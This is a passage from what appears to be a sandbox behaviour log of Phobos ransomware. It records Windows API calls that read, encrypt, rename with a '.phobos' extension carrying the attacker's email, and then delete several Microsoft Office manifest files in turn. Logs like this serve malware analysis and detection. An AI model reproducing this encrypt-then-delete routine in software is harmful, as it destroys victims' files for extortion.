dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0052.457] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.457] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0052.457] CryptDestroyKey (hKey=0x10cf70) returned 1 [0052.457] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0052.457] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0052.457] CloseHandle (hObject=0x2e4) returned 1 [0052.457] CloseHandle (hObject=0x31c) returned 1 [0052.458] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0052.459] SetEvent (hEvent=0x2e8) returned 1 [0052.459] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0052.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.460] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=19451) returned 1 [0052.460] CloseHandle (hObject=0x31c) returned 1 [0052.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0052.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.461] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.461] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.461] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbf0) returned 1 [0052.461] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.461] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4bfb, lpOverlapped=0x0) returned 1 [0052.555] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4c00, dwBufLen=0x4c00 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4c00) returned 1 [0052.555] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4c00, lpOverlapped=0x0) returned 1 [0052.556] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0052.557] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.557] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0052.557] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0052.557] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0052.557] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0052.557] CloseHandle (hObject=0x31c) returned 1 [0052.557] CloseHandle (hObject=0x2e4) returned 1 [0052.558] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0052.559] SetEvent (hEvent=0x2e8) returned 1 [0052.559] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0052.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.561] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=763363) returned 1 [0052.561] CloseHandle (hObject=0x2e4) returned 1 [0052.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0052.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.562] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.562] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.562] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1f0) returned 1 [0052.562] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.562] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xba5e3, lpOverlapped=0x0) returned 1 [0052.627] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xba5f0, dwBufLen=0xba5f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xba5f0) returned 1 [0052.628] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xba5f0, lpOverlapped=0x0) returned 1 [0052.639] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbf0) returned 1 [0052.639] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.639] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0052.639] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0052.639] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0052.639] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0052.639] CloseHandle (hObject=0x2e4) returned 1 [0052.640] CloseHandle (hObject=0x31c) returned 1 [0052.957] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0053.110] SetEvent (hEvent=0x2e8) returned 1 [0053.111] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0053.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.111] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2147) returned 1 [0053.111] CloseHandle (hObject=0x31c) returned 1 [0053.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0053.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.112] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.112] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.112] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d170) returned 1 [0053.112] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.112] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x863, lpOverlapped=0x0) returned 1 [0053.350] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x870, dwBufLen=0x870 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x870) returned 1 [0053.351] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x870, lpOverlapped=0x0) returned 1 [0053.353] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cff0) returned 1 [0053.353] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.353] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0053.353] CryptDestroyKey (hKey=0x10cff0) returned 1 [0053.353] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0053.353] CryptDestroyKey (hKey=0x10d170) returned 1 [0053.353] CloseHandle (hObject=0x31c) returned 1 [0053.354] CloseHandle (hObject=0x308) returned 1 [0053.356] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0053.430] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0053.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.431] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2147) returned 1 [0053.431] CloseHandle (hObject=0x318) returned 1 [0053.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0053.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.431] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.431] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.432] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0053.432] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.432] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x863, lpOverlapped=0x0) returned 1 [0053.481] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x870, dwBufLen=0x870 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x870) returned 1 [0053.481] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x870, lpOverlapped=0x0) returned 1 [0053.482] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0053.482] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.482] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0053.482] CryptDestroyKey (hKey=0x10cab0) returned 1 [0053.482] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0053.482] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0053.482] CloseHandle (hObject=0x318) returned 1 [0053.482] CloseHandle (hObject=0x2e4) returned 1 [0053.483] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0053.484] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0053.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.486] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1261) returned 1 [0053.486] CloseHandle (hObject=0x2e4) returned 1 [0053.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.486] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.486] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.487] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc70) returned 1 [0053.487] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.487] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4ed, lpOverlapped=0x0) returned 1 [0053.517] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0) returned 1 [0053.517] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4f0, lpOverlapped=0x0) returned 1 [0053.518] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cfb0) returned 1 [0053.518] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.518] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0053.518] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0053.519] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0053.519] CryptDestroyKey (hKey=0x10cc70) returned 1 [0053.519] CloseHandle (hObject=0x2e4) returned 1 [0053.519] CloseHandle (hObject=0x318) returned 1 [0053.519] 